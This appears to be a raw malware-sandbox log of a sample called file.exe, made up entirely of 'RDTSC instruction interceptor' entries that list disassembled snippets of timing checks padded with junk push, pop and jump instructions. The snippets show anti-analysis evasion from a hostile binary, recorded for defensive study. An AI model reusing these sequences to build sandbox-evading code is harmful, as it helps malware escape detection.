Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D97338 second address: D9733C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D978B4 second address: D978CD instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007FDF2105496Eh 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D978CD second address: D978D4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D978D4 second address: D978DC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D978DC second address: D978E0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D9C15A second address: D9C177 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDF21054974h 0x00000007 push esi 0x00000008 pop esi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push edi 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D9C177 second address: D9C181 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push eax 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA3898 second address: DA389D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA389D second address: DA38A3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA38A3 second address: DA38A9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA38A9 second address: DA38AD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA38AD second address: DA38E4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 jo 00007FDF21054966h 0x0000000d pushad 0x0000000e popad 0x0000000f pop edx 0x00000010 pop edx 0x00000011 pop eax 0x00000012 push eax 0x00000013 push edx 0x00000014 push ecx 0x00000015 push edi 0x00000016 pop edi 0x00000017 jbe 00007FDF21054966h 0x0000001d pop ecx 0x0000001e jmp 00007FDF21054979h 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA1FB5 second address: DA1FC3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jl 00007FDF21133AC6h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA1FC3 second address: DA1FC9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA2511 second address: DA2519 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA27C4 second address: DA27DA instructions: 0x00000000 rdtsc 0x00000002 jo 00007FDF21054966h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 jnp 00007FDF21054966h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA27DA second address: DA27DE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA5CC2 second address: DA5CC8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA5CC8 second address: DA5CCC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA5CCC second address: DA5CD0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA5CD0 second address: DA5CEB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007FDF21133ACCh 0x0000000c jg 00007FDF21133AC6h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA5CEB second address: DA5D0D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 js 00007FDF2105496Ch 0x0000000b jc 00007FDF21054966h 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 jne 00007FDF21054966h 0x0000001c jg 00007FDF21054966h 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA5D0D second address: DA5D26 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDF21133AD5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA5D26 second address: DA5D2E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DA5D2E second address: DA5D32 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DABBC3 second address: DABBC7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DABBC7 second address: DABBD3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007FDF21133AC6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DABBD3 second address: DABBD9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DABBD9 second address: DABBF0 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 jmp 00007FDF21133ACEh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CEBA2A second address: CEBA31 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DBE325 second address: DBE341 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FDF21133AD8h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DC0EE5 second address: DC0F4E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDF21054976h 0x00000007 jmp 00007FDF21054972h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pushad 0x0000000f jmp 00007FDF21054979h 0x00000014 jns 00007FDF21054966h 0x0000001a ja 00007FDF21054966h 0x00000020 popad 0x00000021 push eax 0x00000022 push edx 0x00000023 jmp 00007FDF21054972h 0x00000028 push eax 0x00000029 push edx 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DC0F4E second address: DC0F52 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DC10B4 second address: DC10BE instructions: 0x00000000 rdtsc 0x00000002 jo 00007FDF2105496Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DCA42C second address: DCA430 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DD1183 second address: DD118F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 je 00007FDF21054966h 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DD118F second address: DD11C8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jnc 00007FDF21133AC6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007FDF21133ACEh 0x00000015 jl 00007FDF21133ADBh 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DD11C8 second address: DD11CE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DD11CE second address: DD11D4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DD11D4 second address: DD11D8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DD9D05 second address: DD9D09 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DD9D09 second address: DD9D0F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DD9D0F second address: DD9D2A instructions: 0x00000000 rdtsc 0x00000002 jp 00007FDF21133ACCh 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007FDF21133ACBh 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DD8709 second address: DD8728 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FDF2105496Dh 0x00000008 pushad 0x00000009 popad 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 jp 00007FDF21054966h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DD8728 second address: DD876A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDF21133ACEh 0x00000007 jng 00007FDF21133AC6h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push esi 0x00000010 jmp 00007FDF21133ACFh 0x00000015 jmp 00007FDF21133AD9h 0x0000001a pop esi 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DD876A second address: DD876F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DD89E4 second address: DD89EA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DD89EA second address: DD89F0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DD89F0 second address: DD89F9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DD89F9 second address: DD8A0B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007FDF21054966h 0x0000000a jng 00007FDF21054966h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DD8E20 second address: DD8E2F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007FDF21133AC6h 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DD8E2F second address: DD8E44 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FDF21054971h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DD8E44 second address: DD8E4D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DD99E8 second address: DD9A06 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007FDF21054975h 0x0000000c push edi 0x0000000d pop edi 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DDDA11 second address: DDDA18 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DDD754 second address: DDD75E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007FDF21054966h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DDD75E second address: DDD76C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 ja 00007FDF21133ACCh 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DE0CCE second address: DE0CFE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 push ecx 0x0000000a jmp 00007FDF21054978h 0x0000000f pushad 0x00000010 popad 0x00000011 pop ecx 0x00000012 pop edx 0x00000013 push eax 0x00000014 push edx 0x00000015 push ebx 0x00000016 jl 00007FDF21054966h 0x0000001c pop ebx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DE0CFE second address: DE0D0E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnl 00007FDF21133AC6h 0x0000000a ja 00007FDF21133AC6h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DE0D0E second address: DE0D30 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDF21054975h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a jl 00007FDF21054966h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DE0D30 second address: DE0D36 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DEEC7F second address: DEECBC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FDF21054979h 0x00000009 popad 0x0000000a pushad 0x0000000b js 00007FDF21054966h 0x00000011 jnp 00007FDF21054966h 0x00000017 push esi 0x00000018 pop esi 0x00000019 jg 00007FDF21054966h 0x0000001f popad 0x00000020 pop esi 0x00000021 push eax 0x00000022 push edx 0x00000023 push eax 0x00000024 push edx 0x00000025 pushad 0x00000026 popad 0x00000027 push eax 0x00000028 push edx 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DEECBC second address: DEECC0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DEECC0 second address: DEECE0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDF21054978h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DEECE0 second address: DEECFB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FDF21133AD7h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DEECFB second address: DEED03 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DEED03 second address: DEED1B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FDF21133AD4h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DE8E79 second address: DE8E7D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DE8E7D second address: DE8E8A instructions: 0x00000000 rdtsc 0x00000002 jc 00007FDF21133AC6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push ebx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DFE7CD second address: DFE7E4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDF21054970h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DFE7E4 second address: DFE7EA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DFE7EA second address: DFE7EF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DFE367 second address: DFE36D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DFE4E9 second address: DFE510 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jmp 00007FDF21054979h 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edi 0x0000000e pop edi 0x0000000f pop eax 0x00000010 push edi 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E18B55 second address: E18B59 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E18B59 second address: E18B8D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FDF21054975h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 push edx 0x00000011 pop edx 0x00000012 jmp 00007FDF21054972h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E18B8D second address: E18BA1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDF21133AD0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E18BA1 second address: E18BAF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FDF2105496Ah 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E17A82 second address: E17A86 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E17A86 second address: E17A9F instructions: 0x00000000 rdtsc 0x00000002 jne 00007FDF21054966h 0x00000008 jbe 00007FDF21054966h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push esi 0x00000011 pushad 0x00000012 popad 0x00000013 pop esi 0x00000014 pushad 0x00000015 pushad 0x00000016 popad 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E17D78 second address: E17D80 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E17D80 second address: E17D8A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E17D8A second address: E17D9D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jg 00007FDF21133AC6h 0x0000000d jbe 00007FDF21133AC6h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E1E423 second address: E1E427 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E1E485 second address: E1E4E5 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 push eax 0x00000008 jmp 00007FDF21133ACCh 0x0000000d nop 0x0000000e mov dx, 7F22h 0x00000012 push 00000004h 0x00000014 push 00000000h 0x00000016 push esi 0x00000017 call 00007FDF21133AC8h 0x0000001c pop esi 0x0000001d mov dword ptr [esp+04h], esi 0x00000021 add dword ptr [esp+04h], 00000017h 0x00000029 inc esi 0x0000002a push esi 0x0000002b ret 0x0000002c pop esi 0x0000002d ret 0x0000002e cmc 0x0000002f mov edx, 36F6DDBFh 0x00000034 push 7E5B07E4h 0x00000039 push eax 0x0000003a push edx 0x0000003b jmp 00007FDF21133AD9h 0x00000040 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E1E4E5 second address: E1E4EF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jc 00007FDF21054966h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F30324 second address: 4F30354 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDF21133AD1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b mov ax, E3A3h 0x0000000f mov bx, cx 0x00000012 popad 0x00000013 push eax 0x00000014 pushad 0x00000015 push ebx 0x00000016 mov cl, 67h 0x00000018 pop edx 0x00000019 popad 0x0000001a xchg eax, ebp 0x0000001b push eax 0x0000001c push edx 0x0000001d pushad 0x0000001e mov ebx, ecx 0x00000020 mov bx, cx 0x00000023 popad 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F20101 second address: 4F20105 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F20105 second address: 4F2010B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F2010B second address: 4F20111 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F20111 second address: 4F20143 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDF21133AD0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [esp], ebp 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007FDF21133AD7h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4F60143 second address: 4F60184 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDF2105496Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007FDF21054976h 0x0000000f mov ebp, esp 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007FDF21054977h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EF010C second address: 4EF011F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDF21133ACFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EF011F second address: 4EF0165 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDF21054979h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007FDF2105496Eh 0x0000000f push eax 0x00000010 jmp 00007FDF2105496Bh 0x00000015 xchg eax, ebp 0x00000016 push eax 0x00000017 push edx 0x00000018 pushad 0x00000019 mov edx, 177EB616h 0x0000001e mov di, 1DA2h 0x00000022 popad 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EF0165 second address: 4EF016A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EF016A second address: 4EF01AF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushfd 0x00000005 jmp 00007FDF21054974h 0x0000000a xor si, 0A38h 0x0000000f jmp 00007FDF2105496Bh 0x00000014 popfd 0x00000015 popad 0x00000016 pop edx 0x00000017 pop eax 0x00000018 mov ebp, esp 0x0000001a pushad 0x0000001b push eax 0x0000001c push edx 0x0000001d call 00007FDF21054972h 0x00000022 pop eax 0x00000023 rdtsc
